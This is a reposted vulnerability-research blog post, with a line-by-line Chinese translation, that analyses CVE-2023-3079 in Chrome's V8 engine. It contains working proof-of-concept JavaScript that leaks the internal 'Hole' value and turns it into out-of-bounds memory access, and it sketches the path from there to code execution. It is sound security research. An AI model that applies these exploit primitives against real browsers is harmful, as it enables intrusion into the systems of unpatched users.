Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE

This blog post is first of the series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we start with a Chrome renderer exploit, the first one in the exploit chain. The exploited vulnerability is CVE-2023–3079, a type confusion bug in V8.
这篇博文是关于我们在 X 上演示的 1 天全链漏洞利用中使用的漏洞的系列文章的第一篇。在这篇博文中,我们从Chrome渲染器漏洞开始,这是漏洞利用链中的第一个漏洞。利用的漏洞是 CVE-2023–3079,这是 V8 中的类型混淆错误。

Types of properties 属性类型

Let’s assume we have a JavaScript object { a: 1, b: 2, 0: 3 }. This object has two named properties (ab) and an integer-indexed property (0). When we say ‘property’ without any context, it usually refers to named properties; integer-indexed properties are also called elements.
假设我们有一个 JavaScript 对象 { a: 1, b: 2, 0: 3 } 。此对象具有两个命名属性 ( a , b ) 和一个整数索引属性 ( 0 )。当我们在没有任何上下文的情况下说“属性”时,它通常是指命名属性;整数索引属性也称为元素。

In most cases, both properties and elements are backed by arrays. This representation of properties is called ‘Fast properties (elements)’, because it’s faster than the other representation that uses dictionaries.
在大多数情况下,属性和元素都由数组支持。这种属性表示形式称为“快速属性(元素)”,因为它比使用字典的其他表示形式更快。

The following figure shows basic memory layout of JavaScript objects in V8.
下图显示了 V8 中 JavaScript 对象的基本内存布局。

Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE

There are different kinds of elements, depending on the types of values and how the values are stored into the store. Most importantly, there are two kinds of elements: packed or holey elements. An elements store is packed if all elements are adjacent. On the other hand, An elements store is holey if there are holes between elements. An example can be [1,,3] where the second entry is a hole. In V8, the holes are filled with a special value called ‘The Hole’. Since it is used by the engine internally, it must not be exposed to JavaScript. So when V8 retrieves an element from a holey elements store, it verifies if the value is ‘The Hole’ and then returns undefined.
有不同类型的元素,具体取决于值的类型以及值存储到存储中的方式。最重要的是,有两种元素:堆积元素或孔元素。如果所有元素都相邻,则打包元素存储。另一方面,如果元素之间存在孔,则元素存储是有孔的。例如 [1,,3] ,第二个条目是孔。在 V8 中,孔被填充了一个名为“The Hole”的特殊值。由于它由引擎在内部使用,因此不得向 JavaScript 公开。因此,当 V8 从有孔的元素存储中检索元素时,它会验证该值是否为“The Hole”,然后返回 undefined。

Inline cache 内联缓存

Since JavaScript is a dynamically-typed language, JavaScript engine may behave differently for a single line of code depending on the type of objects.
由于 JavaScript 是一种动态类型语言,因此 JavaScript 引擎对于单行代码的行为可能会有所不同,具体取决于对象的类型。

Take the following JavaScript code:
以以下 JavaScript 代码为例:

function set_keyed_prop(obj, key, val) {
  obj[key] = val;
}

The function is quite simple, storing val into key property of obj. However, there are several things to consider:
该函数非常简单,存储 val 到 key 的 obj 属性中。但是,有几件事需要考虑:

  • Is key an integer index, or a string?
    是 key 整数索引,还是字符串?
  • Where is key property located in obj?
    key 房产位于哪里 obj ?

Performing such checks every time is expensive, so the JavaScript engines implement an optimization named Inline Cache (IC) to speed up property accesses. IC exploits type locality, meaning that the types of operands at a certain point in a program rarely change. Initially, JavaScript engine starts with no type information, so it runs unoptimized version of code, collecting type information of the objects it encounters during the execution. Later the engine utilizes the collected profiles to optimize performance; it may call IC handlers or just-in-time compile code to native.
每次执行此类检查的成本很高,因此 JavaScript 引擎实施了名为内联缓存 (IC) 的优化,以加快属性访问速度。IC 利用类型局部性,这意味着程序中某个点的操作数类型很少更改。最初,JavaScript 引擎开始时没有类型信息,因此它运行未优化的代码版本,收集在执行过程中遇到的对象的类型信息。稍后,引擎利用收集到的配置文件来优化性能;它可以调用 IC 处理程序或实时编译代码到本机。

The following snippet illustrates how JavaScript engine handles the function above internally:
以下代码片段说明了 JavaScript 引擎如何在内部处理上述函数:

if (typeof(obj) == A) {
  FAST_ROUTINE_OPTIMIZED_FOR_A();
} else {
  SLOW_GENERIC_ROUTINE();
}

JavaScript engine may take different types of objects at a program point, so IC can handle multiple types as well. In this case, we call it polymorphic IC, while the earlier case is referred to be monomorphic.
JavaScript 引擎可以在程序点接受不同类型的对象,因此 IC 也可以处理多种类型。在这种情况下,我们称之为多态 IC,而较早的情况被称为单态。

The Bug 虫子

The bug lies in the way that IC handles property writes to JSStrictArgumentsObject.
错误在于 IC 处理属性写入的方式 JSStrictArgumentsObject 。

In V8, each bytecode that supports IC has its own IC slot, and an IC slot is a mapping from maps (hidden classes) to IC handlers. A slot may have no entries (uninitialized IC) or a few mappings (monomorphic IC, polymorphic IC). When there are too many entries in a polymorphic IC slot or a new IC handler is incompatible with existing handlers, the slot bails out to megamorphic state; the slot uses generic (slow) handlers.
在 V8 中,每个支持 IC 的字节码都有自己的 IC 插槽,而 IC 插槽是从映射(隐藏类)到 IC 处理程序的映射。插槽可能没有条目(未初始化的 IC)或几个映射(单态 IC、多态 IC)。当多态 IC 插槽中的条目过多或新的 IC 处理程序与现有处理程序不兼容时,该插槽将逃逸到巨型态状态;插槽使用通用(慢速)处理程序。

The vulnerability is in IC implementation for SetKeyedProperty bytecode.
该漏洞存在于 SetKeyedProperty 字节码的 IC 实现中。

function set_keyed_prop(obj, key, val) {
  obj[key] = val; // SetKeyedProperty
}

Since there are two types of properties, IC also has two types of handlers: property handler and element handler. To install an element handler, KeyedStoreIC::StoreElementHandler() is called to pick a proper one depending on the type of an object.
由于有两种类型的属性,因此 IC 也有两种类型的处理程序:属性处理程序和元素处理程序。要安装元素处理程序, KeyedStoreIC::StoreElementHandler() 则调用元素处理程序以根据对象的类型选择适当的元素处理程序。

Handle<Object> KeyedStoreIC::StoreElementHandler(
    Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
    MaybeHandle<Object> prev_validity_cell) {
  ...
  
  if (...) {
    ...
  } else if (receiver_map->has_fast_elements() ||
             receiver_map->has_sealed_elements() ||
             receiver_map->has_nonextensible_elements() ||
             receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
    TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
    ...
  }
  ...
}

JSStrictArgumentsObject has fast elements, so StoreHandler::StoreFastElementBuiltin() is called to load a fast element handler.
JSStrictArgumentsObject 具有快速元素,因此 StoreHandler::StoreFastElementBuiltin() 调用以加载快速元素处理程序。

Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
                                                   KeyedAccessStoreMode mode) {
  switch (mode) {
    ...
    case STORE_AND_GROW_HANDLE_COW:
      return BUILTIN_CODE(isolate,
                          StoreFastElementIC_GrowNoTransitionHandleCOW);
    ...
  }
}

In StoreHandler::StoreFastElementBuiltin, the buggy handler is StoreFastElementIC_GrowNoTransitionHandleCOW. As the name says, the handler incurs no map transitions (which implies elements kind doesn’t change), and it extends elements store if an index is equal to the capacity of the store (i.e., putting a value at the end of the elements store). When the handler extends an elements store, the extended store may have extra spaces and they are filled with ‘The Hole’.
在 中 StoreHandler::StoreFastElementBuiltin ,buggy 处理程序是 StoreFastElementIC_GrowNoTransitionHandleCOW 。顾名思义,处理程序不会产生映射转换(这意味着元素种类不会改变),并且如果索引等于存储的容量(即,在元素存储的末尾放置一个值),则它会扩展元素存储。当处理程序扩展元素存储时,扩展的存储可能具有额外的空间,并且它们充满了“The Hole”。

The default elements kind of a JSStrictArgumentsObject is PACKED_ELEMENTS, and it will remain the same after being handled the handler. This is problematic because the slow version of the same function says that adding an element to a non-JSArray object should make its elements_kind HOLEY_ELEMENTS.
默认元素 a JSStrictArgumentsObject 是 PACKED_ELEMENTS ,在处理程序处理后它将保持不变。这是有问题的,因为同一函数的慢速版本说将元素添加到非 JSArray 对象应该使其elements_kind HOLEY_ELEMENTS 。

Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index,
                                     Handle<Object> value,
                                     PropertyAttributes attributes) {

  ...

  // [ 1 ] 'to' is elements kind from 'value'
  ElementsKind to = Object::OptimalElementsKind(*value, isolate);
  
  // [ 2 ] Change to Holey Element Kind if needed
  //   1. If the elements kind of the object is already holey
  //   2. If object is not a JSArray
  //   3. If index is larger than the length of the JSArray
  if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) ||
      index > old_length) {
    to = GetHoleyElementsKind(to);
    kind = GetHoleyElementsKind(kind);
  }
  // [ 3 ] Choose the more general elements kind between 'kind' and 'to'
  to = GetMoreGeneralElementsKind(kind, to);
  ...
}

One more thing that makes this missing map transition exploitable is how V8 bounds-checks for element accesses; it checks in-object ‘length’ property for JSArrays, while for all other objects the engine examines the length of their elements backing stores (FIXED_ARRAY).
使这种缺失的地图过渡可利用的另一件事是 V8 如何对元素访问进行边界检查;它检查对象内的 ‘length’ 属性的 JSArray s,而对于所有其他对象,引擎检查其元素的长度支持存储 ( FIXED_ARRAY )。

void AccessorAssembler::EmitFastElementsBoundsCheck(
    TNode<JSObject> object, TNode<FixedArrayBase> elements,
    TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition,
    Label* miss) {
  TVARIABLE(IntPtrT, var_length);
  Comment("Fast elements bounds check");
  Label if_array(this), length_loaded(this, &var_length);
  GotoIf(is_jsarray_condition, &if_array);
  {
    var_length = SmiUntag(LoadFixedArrayBaseLength(elements));
    Goto(&length_loaded);
  }
  BIND(&if_array);
  {
    var_length = SmiUntag(LoadFastJSArrayLength(CAST(object)));
    Goto(&length_loaded);
  }
  BIND(&length_loaded);
  GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);
}

In the following we have an arguments object and a JSArray. While the arguments object uses the capacity of its elements backing store (17) , the JSArray uses the value of its length property (1) to bounds-check for elements accesses.
在下面,我们有一个 arguments 对象和一个 JSArray .当 arguments 对象使用其元素的容量支持存储 (17) 时,则 JSArray 使用其 length 属性 (1) 的值来边界检查元素访问。

DebugPrint: 0x29df0004e8dd: [JS_ARGUMENTS_OBJECT_TYPE]
 - map: 0x29df0019c7a1 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x29df00184ab9 <Object map = 0x29df001840f5>
 - elements: 0x29df0004e961 <FixedArray[17]> [HOLEY_ELEMENTS]
 - properties: 0x29df00000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x29df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
    0x29df000043f9: [String] in ReadOnlySpace: #callee: 0x29df0019c381 <JSFunction getArgs (sfi = 0x29df0019c2c1)> (data field 1), location: in-object
    0x29df000060d1 <Symbol: Symbol.iterator>: 0x29df0014426d <AccessorInfo name= 0x29df000060d1 <Symbol: Symbol.iterator>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x29df0004e961 <FixedArray[17]> { ******* Use this capacity *******
           0: 1
        1-16: 0x29df0000026d <the_hole>
 }

DebugPrint: 0x29df0004ea0d: [JSArray]
 - map: 0x29df0018e165 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x29df0018e3a9 <JSArray[0]>
 - elements: 0x29df0004ea61 <FixedArray[17]> [PACKED_SMI_ELEMENTS]
 - length: 1 ******* Use this length *******
 - properties: 0x29df00000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x29df00000e19: [String] in ReadOnlySpace: #length: 0x29df00144285 <AccessorInfo name= 0x29df00000e19 <String[6]: #length>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x29df0004ea61 <FixedArray[17]> {
           0: 1
        1-16: 0x29df0000026d <the_hole>
 }

So in normal cases where the size of its elements store is larger than the number of elements, an out-of-bounds element access to a JSArray is guarded by checking its ‘length’ property, and for other objects it is guarded by ‘The Hole’ check as the object’s elements kind is HOLEY_ELEMENTS.
因此,在正常情况下,当其元素存储的大小大于元素的数量时,通过检查其“length”属性来保护对 a JSArray 的越界元素访问,而对于其他对象,它通过“The Hole”检查来保护,因为对象的元素类型为 HOLEY_ELEMENTS 。

However, the vulnerable handler keeps the map of arguments PACKED_ELEMENTS even after its elements store is extended, which allows us to leak ‘The Hole’ value.
但是,即使在扩展其元素存储后,易受攻击的处理程序仍保留其 arguments PACKED_ELEMENTS 映射,这允许我们泄漏“The Hole”值。

Here is the Proof-of-concept (PoC) code that triggers the bug.
下面是触发错误的概念验证 (PoC) 代码。

function set_keyed_prop(obj, key, val) {
  obj[key] = val;
}

function leak_hole() {
  const IC_WARMUP_COUNT = 10;
  for (let i = 0; i < IC_WARMUP_COUNT; i++) {
    set_keyed_prop(arguments, "foo", 1);
  }

  set_keyed_prop([], 0, 1);
  set_keyed_prop(arguments, arguments.length, 1);

  let hole = arguments[arguments.length + 1];
  return hole;
}

The following is a step-by-step explanation on how the PoC code works.
以下是有关 PoC 代码工作原理的分步说明。

First, there’s a loop that calls set_keyed_prop() with an arguments object and ‘foo’ as a key. After the loop, a property handler will be registered with the map of arguments and ‘foo’ as the key, making the slot monomorphic.
首先,有一个循环,它使用对象 arguments 和“foo”作为键进行调用 set_keyed_prop() 。循环后,将注册一个属性处理程序,其中 和 arguments ‘foo’ 的映射作为键,使插槽成为单态的。

DebugPrint: 0x37750019b08d: [Function] in OldSpace
 ...

 - slot #0 StoreKeyedSloppy MONOMORPHIC
   0x37750019ae75 <String[3]: #foo>: StoreHandler(<unexpected>)(0x37750018fccd <Map[20](PACKED_ELEMENTS)>) {
     [0]: 0x37750019ae75 <String[3]: #foo>
     [1]: 0x37750004ca65 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
  }

Here we install a property handler, not an element handler. This is because an element handler for arguments cannot be installed directly. If a key is Smi-like (integers or strings like ‘1’) and an object is argumentsKeyedStoreIC::Store() takes slow path, rather than installs the buggy handler. For normal properties, however, StoreIC::Store() is called to populate a handler in the slot.
在这里,我们安装一个属性处理程序,而不是一个元素处理程序。这是因为无法直接安装 的 arguments 元素处理程序。如果一个键是类似 Smi 的(整数或字符串,如 ‘1’),而一个对象是 arguments , KeyedStoreIC::Store() 则采用慢速路径,而不是安装有缺陷的处理程序。但是,对于普通属性, StoreIC::Store() 调用该属性以填充插槽中的处理程序。

MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
                                        Handle<Object> key,
                                        Handle<Object> value) {
  ...

  // If 'key' is a string, a property handler will be installed.
  if (key_type == kName) {
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate(), store_handle,
        StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed),
        Object);
    if (vector_needs_update()) {
      if (ConfigureVectorState(MEGAMORPHIC, key)) {
        set_slow_stub_reason("unhandled internalized string key");
        TraceIC("StoreIC", key);
      }
    }
    return store_handle;
  }

  ...
  
  // If 'key' is a Smi-like key, an element handler will be installed.
  if (use_ic) {
    if (!old_receiver_map.is_null()) {
      if (is_arguments) {
        set_slow_stub_reason("arguments receiver");
      }
      ...
    }
  }

  ...
}

Then the PoC calls set_keyed_prop() with an empty array. Since the array is not arguments, an IC miss occurs and it calls KeyedStoreIC::UpdateStoreElement() to install a new element handler. Then it calls KeyedStoreIC::StoreElementPolymorphicHandlers() to change the state of the IC slot to polymorphic.
然后 PoC 使用空数组进行调用 set_keyed_prop() 。由于数组不是 arguments ,因此会发生 IC 未命中,并调用 KeyedStoreIC::UpdateStoreElement() 安装新的元素处理程序。然后它调用 KeyedStoreIC::StoreElementPolymorphicHandlers() 将 IC 插槽的状态更改为多态。

void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map,
                                      KeyedAccessStoreMode store_mode,
                                      Handle<Map> new_receiver_map) {
  std::vector<MapAndHandler> target_maps_and_handlers;
  nexus()->ExtractMapsAndHandlers(
      &target_maps_and_handlers,
      [this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); });
  if (target_maps_and_handlers.empty()) {
    Handle<Map> monomorphic_map = receiver_map;
    // If we transitioned to a map that is a more general map than incoming
    // then use the new map.
    if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) {
      monomorphic_map = new_receiver_map;
    }
    Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode);
    return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler);
  }

  ...

  StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode);

  ...
}

KeyedStoreIC::StoreElementPolymorphicHandlers() iterates the previous IC handlers in the slot, and turns the handlers into element handlers by calling StoreElementHandler(). This introduces the buggy handler into the slot.
KeyedStoreIC::StoreElementPolymorphicHandlers() 迭代插槽中以前的 IC 处理程序,并通过调用 StoreElementHandler() 将处理程序转换为元素处理程序。这会将 buggy 处理程序引入插槽。

void KeyedStoreIC::StoreElementPolymorphicHandlers(
    std::vector<MapAndHandler>* receiver_maps_and_handlers,
    KeyedAccessStoreMode store_mode) {
  ...

  for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
    Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first;
    DCHECK(!receiver_map->is_deprecated());
    MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second;
    Handle<Object> handler;
    Handle<Map> transition;

    if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE ||
        receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) {
      ...

    } else {
      ...
      if (!transition.is_null()) {
        TRACE_HANDLER_STATS(isolate(),
                            KeyedStoreIC_ElementsTransitionAndStoreStub);
        handler = StoreHandler::StoreElementTransition(
            isolate(), receiver_map, transition, store_mode, validity_cell);
      } else {
        handler = StoreElementHandler(receiver_map, store_mode, validity_cell);
      }
    }
    DCHECK(!handler.is_null());
    receiver_maps_and_handlers->at(i) =
        MapAndHandler(receiver_map, MaybeObjectHandle(handler));
  }
}

At the point, the IC slot looks like:
此时,IC插槽如下所示:

DebugPrint: 0x5ed0019b139: [Function] in OldSpace
 ...

 - slot #0 StoreKeyedSloppy POLYMORPHIC
   [weak] 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b281 <Cell value= 0>)

   [weak] 0x05ed0018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b365 <Cell value= 0>)
 {
     [0]: 0x05ed0004cafd <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     [1]: 0x05ed00000ebd <Symbol: (uninitialized_symbol)>
  }

The last call to set_keyed_prop is handled by the buggy handler, extending the elements store of arguments while keeping the elements kind PACKED_ELEMENTS.
对 set_keyed_prop 的最后一次调用由 buggy 处理程序处理,扩展 的 arguments 元素存储,同时保持元素种类 PACKED_ELEMENTS 。

set_keyed_prop(arguments, arguments.length, 1);

The following is the state of arguments object after running the PoC. Its elements kind is PACKED_ELEMENTS, and the elements store is FixedArray[17], where the empty spaces are filled with ‘The Hole’.
以下是运行 PoC 后的 arguments 对象状态。它的元素类型是 PACKED_ELEMENTS ,元素存储是 FixedArray[17] ,其中空白处被“洞”填满。

DebugPrint: 0x5ed0004cb15: [JS_ARGUMENTS_OBJECT_TYPE]
 - map: 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x05ed00184ab9 <Object map = 0x5ed001840f5>
 - elements: 0x05ed0004cb29 <FixedArray[17]> [PACKED_ELEMENTS]
 - properties: 0x05ed00000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x5ed00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
    ...
 }
 - elements: 0x05ed0004cb29 <FixedArray[17]> {
           0: 1
        1-16: 0x05ed0000026d <the_hole>
 }

The Hole leak to OOB access
OOB 访问的孔泄漏

The leaked ‘The Hole’ object can be exploited to achieve arbitrary out-of-bounds access. This technique is originally shared by mistymntncop, and there is also a related writeup available. However, we will also elaborate some details on this.
可以利用泄露的“The Hole”对象来实现任意越界访问。这种技术最初由 mistymntncup 共享,并且还有相关的文章可用。但是,我们还将详细说明一些细节。

Here is the exploit to achieve out-of-bounds access using ‘The Hole’.
这是使用“The Hole”实现越界访问的漏洞。

function leak_stuff(b) {
  if (b) {
    let index = Number(b ? the.hole : -1);
    index |= 0;
    index += 1;

    let arr1 = [1.1, 2.2, 3.3, 4.4];
    let arr2 = [0x1337, large_arr];

    let packed_double_map_and_props = arr1.at(index * 4);
    let packed_double_elements_and_len = arr1.at(index * 5);

    let packed_map_and_props = arr1.at(index * 8);
    let packed_elements_and_len = arr1.at(index * 9);

    let fixed_arr_map = arr1.at(index * 6);

    let large_arr_addr = arr1.at(index * 7);

    return [
      packed_double_map_and_props, packed_double_elements_and_len,
      packed_map_and_props, packed_elements_and_len,
      fixed_arr_map, large_arr_addr,
      arr1, arr2
    ];
  }
  return 0;
}

The most important lines are the following ones:
最重要的行是以下行:

let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;

The first line uses ternary operator, and it returns either ‘The Hole’ or -1. When leak_stuff() gets hot and triggers Just-in-time compilation, the ternary operator introduces a Phi node, followed by a JSToNumberConvertBigInt node.
第一行使用三元运算符,它返回“The Hole”或 -1。当变热并触发实时编译时 leak_stuff() ,三元运算符会引入一个 Phi 节点,后跟一个 JSToNumberConvertBigInt 节点。

Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE

Turbofan, the JIT compiler in V8, has typer phase where the compiler statically infers the type of each node. After the typer phase, the annotated types are as follows:
Turbofan 是 V8 中的 JIT 编译器,具有打字阶段,编译器静态推断每个节点的类型。在打字阶段之后,注释类型如下:

Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE

The type of the Phi node is inferred as the union of the type of The Hole and an integer interval (-1, -1), which seems to be true. However, the type of the JSToNumberConvertBigInt node is miscalculated since a call to Number() with The Hole produces NaN.
Phi 节点的类型被推断为 的 The Hole 类型和整数区间 (-1, -1) 的并集,这似乎是真的。但是, JSToNumberConvertBigInt 节点的类型计算错误,因为对 Number() with The Hole 的调用会产生 NaN .

d8> Number(%TheHole());
NaN

The type of JSToNumberConvertBigInt node is inferred in OperationTyper::ToNumberConvertBigInt().
JSToNumberConvertBigInt 节点的类型在 OperationTyper::ToNumberConvertBigInt() 中推断。

Type OperationTyper::ToNumberConvertBigInt(Type type) {
  // If the {type} includes any receivers, then the callbacks
  // might actually produce BigInt primitive values here.
  bool maybe_bigint =
      type.Maybe(Type::BigInt()) || type.Maybe(Type::Receiver());
  type = ToNumber(Type::Intersect(type, Type::NonBigInt(), zone()));

  // Any BigInt is rounded to an integer Number in the range [-inf, inf].
  return maybe_bigint ? Type::Union(type, cache_->kInteger, zone()) : type;
}

The function first calculates the intersection of the type of the argument and Type::NonBigInt(). Here type is the type of the Phi node, and Type::NonBitInt() is defined as OR-ed set of bit flags.
该函数首先计算参数类型和 Type::NonBigInt() 的交集。这是 type Phi 节点的类型, Type::NonBitInt() 定义为 OR 编辑的位标志集。

// src/compiler/types.h
#define INTERNAL_BITSET_TYPE_LIST(V)    \
  V(OtherUnsigned31, uint64_t{1} << 1)  \
  V(OtherUnsigned32, uint64_t{1} << 2)  \
  V(OtherSigned32,   uint64_t{1} << 3)  \
  V(OtherNumber,     uint64_t{1} << 4)  \
  V(OtherString,     uint64_t{1} << 5)  \
  ...

#define PROPER_ATOMIC_BITSET_TYPE_LOW_LIST(V) \
  ...
  V(Hole,                     uint64_t{1} << 23)  \
  ... 

#define PROPER_BITSET_TYPE_LIST(V) \
  ...
  V(NonBigInt,                    kNonBigIntPrimitive | kReceiver) \
  ...

When we flattens all sub-flags of Type::NonBigInt(), we can see that the type of ‘The Hole’ is not in the set.
当我们展平 的所有 Type::NonBigInt() 子标志时,我们可以看到 ‘The Hole’ 的类型不在集合中。

Symbol
Unsigned30
Negative31
OtherUnsigned31
OtherSigned32
Unsigned30
OtherUnsigned31
OtherUnsigned32
OtherNumber
MinusZero
NaN
InternalizedString
OtherString
Boolean
Null
Undefined
WasmObject
Array
CallableFunction
ClassConstructor
BoundFunction
OtherCallable
OtherObject
OtherUndetectable
CallableProxy
OtherProxy

So the type of ‘The Hole’ is filtered by the intersection, which results in an type error. This error is propagated through the following operations.
因此,“The Hole”的类型由交集过滤,这会导致类型错误。此错误通过以下操作传播。

Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE

Here is the commented version of the exploit with the types inferred by the compiler and the actual value when the code is executed with ‘The Hole’.
以下是该漏洞的注释版本,其中包含编译器推断的类型以及使用“The Hole”执行代码时的实际值。

function leak_stuff(b) {
  if (b) {
    let index = Number(b ? the.hole : -1); // [-1, -1] (actual value: NaN)
    index |= 0; // [-1, -1] (actual value: 0)
    index += 1; // [0, 0] (actual value: 1)

    let arr1 = [1.1, 2.2, 3.3, 4.4];
    let arr2 = [0x1337, large_arr];

    let packed_double_map_and_props = arr1.at(index * 4);
    let packed_double_elements_and_len = arr1.at(index * 5);

    let packed_map_and_props = arr1.at(index * 8);
    let packed_elements_and_len = arr1.at(index * 9);

    let fixed_arr_map = arr1.at(index * 6);

    let large_arr_addr = arr1.at(index * 7);

    return [
      packed_double_map_and_props, packed_double_elements_and_len,
      packed_map_and_props, packed_elements_and_len,
      fixed_arr_map, large_arr_addr,
      arr1, arr2
    ];
  }
  return 0;
}

Since the compiler thinks the value of index is always zero, it considers all bounds-checks to arr1 as unnecessary and optimizes them away. When the function is invoked later, however, index is a non-zero value, and it will access arr1 out-of-bounds.
由于编译器认为 的 index 值始终为零,因此它认为所有边界检查都是 arr1 不必要的,并对其进行了优化。但是,当稍后调用该函数时, index 该函数是一个非零值,它将访问 arr1 越界。

Exploitation 开发

Now we have out-of-bounds memory access primitive, and there’s a standard way that achieves code execution from an oob primitive. A typical V8 exploit will:
现在我们有了越界内存访问原语,并且有一种标准方法可以从 oob 原语实现代码执行。典型的 V8 漏洞将:

  1. Construct addr_of, arbitrary read/write primitives
    构造addr_of任意读/写基元

    – This can usually be achieved by creating a few adjacent arrays (PACKED_ELEMENTS and PACKED_DOUBLE_ELEMENTS) and overwriting the length properties of the arrays with the out-of-bounds access primitive.
    – 这通常可以通过创建几个相邻数组 ( PACKED_ELEMENTS 和 PACKED_DOUBLE_ELEMENTS ) 并使用越界访问原语覆盖数组的长度属性来实现。
  2. Use the primitives to gain arbitrary code execution
    使用基元获取任意代码执行

    – For this, one needs to escape V8 sandbox.
    – 为此,需要逃离 V8 沙盒。

    – We already posted a detailed explanation on our blog.
    – 我们已经在我们的博客上发布了详细的解释。

More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested to Fermium-252 service, contact us at [email protected].
包括 PoC 和漏洞利用代码在内的更多详细信息位于 Fermium-252:网络威胁情报数据库。如果您对 Fermium-252 服务感兴趣,请 [email protected] 与我们联系。

Conclusion 结论

This post provided the analysis on CVE-2023–3079 which is exploited in our 1-day full chain demo. The next post will be about exploiting a vulnerability in Windows ALPC service to escape Chrome sandbox.
这篇文章提供了对 CVE-2023–3079 的分析,该分析在我们的 1 天全链演示中被利用。下一篇文章将介绍如何利用 Windows ALPC 服务中的漏洞来逃避 Chrome 沙盒。

References 引用

原文始发于Theori Vulnerability ResearchChaining N-days to Compromise All: Part 1 — Chrome Renderer RCE

版权声明:admin 发表于 2024年3月22日 下午11:04。
转载请注明:Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE | CTF导航

相关文章